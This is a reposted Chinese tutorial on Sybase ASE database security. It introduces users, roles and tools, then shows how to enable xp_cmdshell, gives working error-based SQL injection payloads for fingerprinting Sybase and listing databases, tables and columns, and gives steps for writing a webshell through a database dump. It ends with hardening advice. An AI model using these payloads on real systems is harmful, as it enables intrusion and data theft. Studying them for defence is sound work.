iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >Sybase数据库安全的示例分析
  • 645
分享到

Sybase数据库安全的示例分析

2024-04-02 19:04:59 645人浏览 泡泡鱼
摘要

本篇文章给大家分享的是有关Sybase数据库安全的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 Sybase数据库

本篇文章给大家分享的是有关Sybase数据库安全的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

0x00 Sybase数据库介绍

  简介

Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise (简称ASE或Sybase  ASE),继承于MSsql的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或windowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以  SAP Sybase SQL Anywhere 为客户端。目前新版是ASE  15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。

Sybase数据库安全的示例分析

创建数据库的时候要注意存放设备:

Sybase数据库安全的示例分析

服务及端口

Sybase数据库安全的示例分析

开放端口:

备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004

默认数据库

Sybase数据库安全的示例分析

Master :系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;

Model :模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。

Systemprocs :保存系统的存储过程。

Sybsystemdb :关于分布式事务管理功能。

Tempdb :包含临时表,放置临时数据。

注册用户和数据库用户

SQL Server创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的  syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。

创建注册用户:

sp_addlogin loginame, passwd     (删除即为drop)

创建数据库用户:

[dbname..] sp_adduser loginame    (此处的loginame 必须是注册用户,否则报错)

分配权限:

grant all | select,insert,delete,update on table_name | view_name | stored_procedure_name to username

grant all | create database,create default,create procedure,create rule,create table,create view,set proxy,set session authorization to username

数据库用户分类

sa用户、数据库属主、数据库对象属主和数据库普通用户

1)、sa用户:为系统用户,拥有全部的权限。

2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。

3)、数据库对象属主:在实际管理中, ,一般为数据库属主。

4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。

别名(aliases)与组(group)

1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。

2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。

Sybase数据库安全的示例分析

角色

一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO  role)、操作员角色(OPER role)。

Sybase数据库安全的示例分析

连接及管理工具

1)、isql

类似于Mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用isql –U sa –P “”连接:

Sybase数据库安全的示例分析

所有参数要区分大小写:

-?显示 isql 开关的语法摘要。

-L列出在本地配置的服务器和在网络上广播的服务器的名称。

-U login_id用户登录 ID。登录 ID 区分大小写。

-P passWord 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql  使用默认密码NULL)。密码区分大小写。

-S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL  Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。

-H hostname 是使用的客户端的主机名称。

-d use database name,用于指定使用数据库名

2)、官方Sybase SQL Advantage

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。

Sybase数据库安全的示例分析

Sybase数据库安全的示例分析

(Sql.ini设定及功能:Http://blog.csdn.net/potato015/article/details/2450989 )

3)、官方Sybase Central

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、功能不是很强大

Sybase数据库安全的示例分析

4)、DBArtisan

Sybase数据库安全的示例分析

0x01 Sybase安全

执行系统命令

默认xp_cmdshell是不开启的。未开启xp_cmdshell时:

Sybase数据库安全的示例分析

开启xp_cmdshell : sp_configure 'xp_cmdshell context',0

Sybase数据库安全的示例分析

开启xp_cmdshell后执行命令:

Sybase数据库安全的示例分析

权限不够时执行xp_cmdshell:

Sybase数据库安全的示例分析

细节:

1、执行 sp_configure 'xp_cmdshell',0  允许所有含sa_role角色的login用户执行xp_cmdshell命令,此功能默认关闭

2、默认 sp_configure 'xp_cmdshell',1  经测试需要在windows下具有相同longin用户名称和密码,并且该用户隶属administrators权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!

3、MSSQL由于和windows集成,可以直接使用系统账户登录到数据库。而Sybase则需要按照上面第二步做配置才能达到和MSSQL类似的效果。

注释符与联合查询

支持uNIOn,可以用/ /、--来注释,可以用/ /来替换空格,也可以用+代替空格,也支持count( ),不过通配符 不能出现在子查询中。

Sybase数据库安全的示例分析

12.5.2及以前的版本不支持TOP关键字,形如select top N from注入语句将报错

Sybase数据库安全的示例分析

当然,不能用top,肯定会有替代方案,那就是set rowcount N

Sybase数据库安全的示例分析

Sybase数据库安全的示例分析

但是set rowcount N貌似不支持子查询和条件句:

Sybase数据库安全的示例分析

多句执行

与mssql不同的地方是:多条语句直接以空格分隔,而不是分号。

Sybase数据库安全的示例分析

Sybase数据库安全的示例分析

对编码的支持

与MSSQL相同:

Sybase数据库安全的示例分析

SQL注入特性

PHP为脚本:

Sybase数据库安全的示例分析

以Java为脚本:

Sybase数据库安全的示例分析

判断是否是Sybase数据库:

id=1 and exists(select * from master.dbo.ijdbc_function_escapes)

Sybase数据库安全的示例分析

Sybase数据库安全的示例分析

以报错方式注入时要注意,sybase是不支持不同类型数据直接相比较的(与MSSQL不同):

id=1 and 1=user id=1 and 1=convert(integer,user) ![enter image description here][28] id=1 and 1=convert(integer,(select+@@version)) ![enter image description here][29] id=-1 union select 1,"",(select @@version)

Sybase数据库安全的示例分析

列库(复杂版本):

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))

列出***个库master 

id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))

列出除master外的***个库

Sybase数据库安全的示例分析

列库(简单版本):

id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不断递增dbid的值

Sybase数据库安全的示例分析

dbid是连续的数字,猜解起来很容易

Sybase数据库安全的示例分析

PS:虽然Sybase不能用TOP、for xml path,但是支持having、where not in等语法,变化方式依然有多种

与MSSQL不同的一点:

MSSQL是xtype Sybase是type

Sybase数据库安全的示例分析

列表(只能用复杂版):

id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))

列出***个表cmd

id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))

列出除cmd外的***个表cmd0

Sybase数据库安全的示例分析

列字段:

select name from test..syscolumns where id=object_id(‘users’) and colid=1 递增colid

即:

id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))

Sybase数据库安全的示例分析

工具注入:

Sybase数据库安全的示例分析

穿山甲猜不出库名,抓包发现使用了TOP关键字,看来穿山甲只支持12.5.3以后的sybase

Sybase数据库安全的示例分析

备份写文件(webshell)

前提条件:

1、备份服务打开

2、备份服务允许远程访问

3、有数据库权限(宿主权限)+磁盘写权限

步骤:

、create table cmd(a image)—

、insert into cmd(a) values ('')—

、dump database test to ‘C:\wamp\www\1.php’ 【全备份】

(对应MSSQL为:backup database 库名 to disk= 'C:\wamp\www\1.php ' WITH  DIFFERENTIAL,FORMAT;--)

dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG备份】

(对应MSSQL为:backup log 库名 to disk='d:\www\xxx\test.asp'--)

注:使用dump TRANSACTION时要求数据文件和日志文件不能存放在同一设备中。

、drop table cmd--

Sybase数据库安全的示例分析

加固与防范

口令

sp_password  “原密码”, “新密码”,用户名

例如将sa用户的密码由空改为123456: sp_password NULL,”123456”,sa

sp_configure “minimum password length”,8    ---密码最短长度 sp_configure “check password for digit”,1   ---至少包含一个数字 sp_configure “systemwide password expiration”,90   ---口令有效时长 sp_configure “maximum failed logins”,5   ---设置口令错误定阀值

删除扩展存储过程xp_cmdshell, 并删 除 sybsyesp.dll

exec  sp_dropextendedproc  xp_cmdshell

关闭sa账户的使用:

sp_locklogin sa,"lock“

关闭远程访问:

exec sp_configure “allow remote access” ,0

exec sp_configure “allow remote access” ,0

关闭后,很多服务将无法使用,比如备份

登陆IP白名单

系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单

create procedure login_trg  as      declare @ip varchar(18),@login_name varchar(20)  begin      select     @ip=t.ipaddr,@login_name=suser_name()     from master.dbo.sysprocesses t where t.spid=@@spid      if @ip<>'192.168.0.102'       begin            raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name           select syb_quit()        end     else          print 'Welcome!'  end

创建登录触发器后,执行如下命令:

isql>grant execute on login_trg to loginname   isql>sp_modifylogin loginname, "login script",login_trg

日志

isql>exec sp_configure "log audit loGon failure",1 --记录登录失败信息 isql>exec sp_configure "log audit logon success",1 --记录登录成功信息

以上就是Sybase数据库安全的示例分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注编程网数据库频道。

您可能感兴趣的文档:

--结束END--

本文标题: Sybase数据库安全的示例分析

本文链接: https://www.lsjlt.com/news/67378.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Sybase数据库安全的示例分析
    本篇文章给大家分享的是有关Sybase数据库安全的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 Sybase数据库...
    99+
    2024-04-02
  • MySQL数据库的示例分析
    这篇文章给大家分享的是有关MySQL数据库的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。一、数据库概要数据库(Database)是存储与管理数据的软件系统,就像一个存入...
    99+
    2024-04-02
  • 数据库中sqlnet.ora的示例分析
    小编给大家分享一下数据库中sqlnet.ora的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧! 一、例子1、SQLNET.AUTHENTICATION_SERVICES= (NT...
    99+
    2024-04-02
  • Redis数据库分布式的示例分析
    这篇文章给大家分享的是有关Redis数据库分布式的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。问题:1-2亿数据需要缓存,如何设计?1 哈希取余分区2亿条记录就是2亿个k,v,假设有3台机器构成一个集群...
    99+
    2023-06-28
  • MySQL数据库事务的示例分析
    小编给大家分享一下MySQL数据库事务的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!事务特点:ACID从业务角度出发,...
    99+
    2024-04-02
  • MongoDB数据库角色的示例分析
    这篇文章给大家分享的是有关MongoDB数据库角色的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。 Database User Roles ...
    99+
    2024-04-02
  • Redis多个数据库的示例分析
    小编给大家分享一下Redis多个数据库的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!Redis多个数据库注意:Redis支持多个数据库,并且每个数据库的数据是隔离的不能共享,并且...
    99+
    2024-04-02
  • RAC数据库重启的示例分析
    这篇文章将为大家详细讲解有关RAC数据库重启的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1)su - grid --进入用户2)lsnrctl stop --...
    99+
    2024-04-02
  • mysql数据库同步的示例分析
    这篇文章主要介绍了mysql数据库同步的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。 同步介绍: MySQL 的数据同步,在M...
    99+
    2024-04-02
  • SQLSERVER数据库状态的示例分析
    这篇文章主要介绍SQLSERVER数据库状态的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完! 案例 前两天在处理一个客户问题,突然某个数据库无法访问了。数据库...
    99+
    2024-04-02
  • h5本地数据库的示例分析
    这篇文章主要为大家展示了“h5本地数据库的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“h5本地数据库的示例分析”这篇文章吧。HTML5中,为了减轻服务...
    99+
    2024-04-02
  • mysql数据库中mycli的示例分析
    这篇文章给大家分享的是有关mysql数据库中mycli的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。可以先看下效果图:如果自己不去尝试,可能感受没那么强烈,所以不如自己...
    99+
    2024-04-02
  • mysqldump备份数据库的示例分析
    本篇文章给大家分享的是有关mysqldump备份数据库的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。#!/bin/bash ...
    99+
    2024-04-02
  • oracle net manager数据传输安全步骤的示例分析
    这篇文章主要介绍了oracle net manager数据传输安全步骤的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。简介Net M...
    99+
    2024-04-02
  • MySQL数据库中数据约束的示例分析
    这篇文章主要介绍了MySQL数据库中数据约束的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。为了防止不符合规范的数据进入数据库,在用...
    99+
    2024-04-02
  • 深入分析Oracle与Sybase数据库的架构及特点
    Oracle和Sybase是两种常见的关系型数据库管理系统(RDBMS),在企业级应用中被广泛使用。它们都有自己独特的架构和特点,在本文中将深入分析它们的数据库架构,包括数据存储、查询...
    99+
    2024-03-07
    数据库 oracle sybase
  • Java安全ysoserialCommonsCollections3示例分析
    目录cc3利用链如下:一、为构造的恶意字节码文件找一个newInstance启动入口构造恶意类:加载的字节码类需要继承AbstractTranslet二、将字节码内容直接赋值序列化三...
    99+
    2022-11-13
    java安全ysoserial CommonsCollections java 安全
  • Redis内存数据库分片的示例分析
    这篇文章将为大家详细讲解有关Redis内存数据库分片的示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。 软件下载地址 ·  &...
    99+
    2024-04-02
  • 数据库中跨库数据表运算的示例分析
    这篇文章将为大家详细讲解有关数据库中跨库数据表运算的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. 简单合并(FROM)所谓跨库数据表,是指逻辑上同一张数据表...
    99+
    2024-04-02
  • Java安全ysoserialCommonsCollections2示例分析
    目录正文cc2 commons-collections4版本利用链InvokerTransformer.transform()利用InvokerTransformer.transfo...
    99+
    2022-11-13
    Java ysoserial CommonsCollections Java 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作